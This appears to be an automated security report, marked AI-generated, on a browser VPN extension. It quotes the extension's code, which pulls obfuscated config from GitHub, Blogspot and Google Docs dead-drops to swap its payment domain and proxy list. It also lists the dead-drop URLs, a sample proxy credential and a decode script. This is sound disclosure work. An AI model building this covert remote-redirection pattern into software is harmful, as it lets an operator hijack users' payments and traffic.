Is Total VPN - один ВПН для всего safe?
Total VPN - один ВПН для всего is high risk. On popup open, the worker fetches config from GitHub Pages, Blogspot, or Google Docs, ROT-3 decoded. A 'u' value overwrites the payment API domain; 's' is a base64 proxy list. The operator can edit these pages anytime; confirmed live.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Payment domain and proxy list swapped via dead-drop config pages
On popup open, the worker fetches config from GitHub Pages, Blogspot, or Google Docs, ROT-3 decoded.
A 'u' value overwrites the payment API domain; 's' is a base64 proxy list.
The operator can edit these pages anytime; confirmed live.
You open the VPN extension's popup.
The extension fetches a configuration file from a public page it controls and uses it to set which domain receives your payment and account requests.
The same response also supplies the list of proxy servers your browsing traffic is routed through.
| Cache-Control | no-cache |
The fetched body is encoded with a 3-position Caesar letter shift so it is not readable as JSON on the wire. Decoding it reveals the replacement payment domain ('u') and a base64-encoded server list ('s').
{
"u": "mainapi.store",
"s": [
"196.16.2.115:9037:RD4xCy:9XFUs|2026-07-14|gb|rmd"
]
}Remote config replaces the payment API domain and extends the proxy server list
var c=showx(data.trim(),3); // ROT-3 decode
var j=JSON.parse(c);
if(typeof(j['u'])!='undefined'){
if(j['u'].length>0){
ucheckout="https://"+j['u']; // replace payment/account API domain
chrome.storage.local.set({"apiurl":j['u']})
}
}
if(typeof(j['s'])!='undefined'){
chrome.storage.local.set({"servers":JSON.stringify(j['s'])});
j['s'].forEach(function(e,i){
let k=atob(e).split("|"); // host:port:user:pass | expiry | country | label
a1.push(k[0]);
});
serverConfigs.unshift(...a1); // prepend remote servers
}// The replaced domain becomes the base for every payment/account call:
$.post(ucheckout+"/api/v"+acheckout+"/check_ssid",{id:id,...});
$.post(ucheckout+"/api/v"+acheckout+"/getvpn",{id:id,...});
$.post(ucheckout+"/api/v"+acheckout+"/setcode",{id:id,t:tcheckout,c:c});- katnmv.github.io
Primary dead-drop: serves exs/list.json, the ROT-3-encoded config carrying the payment domain and server list. GitHub Pages, editable by whoever controls the repository.
- twexst.blogspot.com
First fallback dead-drop: the page /p/data2.html carries the same config. Blogspot, editable by the post owner.
- docs.google.com
Second fallback dead-drop: a Google Docs document (id 1SFsBZ6Nsz1WH86YIKZyuT_KSzE_Ns36MS_78WOblpU0) carries the same config. Editable by the document owner.
- mainapi.store
Default payment/account API domain shipped in conf.js; replaceable at runtime by the 'u' field from any of the dead-drop pages.
Fetches the GitHub Pages config, applies the ROT-3 decode the extension uses, parses the JSON, and prints the replacement payment domain plus each decoded proxy server entry.
// Reproduces the extension's config decode. Node 18+ (global fetch).
const URLS = [
'https://katnmv.github.io/exs/list.json',
'https://twexst.blogspot.com/p/data2.html',
'https://docs.google.com/document/d/1SFsBZ6Nsz1WH86YIKZyuT_KSzE_Ns36MS_78WOblpU0/edit'
];
function rot(text, shift) { // matches showx(text,3)
return text.split('').map((c) => {
if (/[a-z]/i.test(c)) {
const code = c.charCodeAt(0);
const base = code >= 65 && code <= 90 ? 65 : 97;
return String.fromCharCode(((code - base - shift + 26) % 26) + base);
}
return c;
}).join('');
}
(async () => {
let body;
for (const u of URLS) {
try { const r = await fetch(u, { headers: { 'Cache-Control': 'no-cache' } });
if (r.ok) { body = await r.text(); break; } } catch {}
}
if (!body) { console.error('no config fetched'); return; }
const j = JSON.parse(rot(body.trim(), 3));
if (j.u) console.log('payment API domain ->', j.u);
(j.s || []).forEach((e) => {
const [hostPort, expiry, country, label] = Buffer.from(e, 'base64').toString().split('|');
console.log('proxy server ->', hostPort, '| expiry', expiry, '| country', country, '| label', label);
});
})();- 1Save as decode-config.js.
- 2Run `node decode-config.js`.
- 3Read the printed payment API domain and the decoded proxy server entries.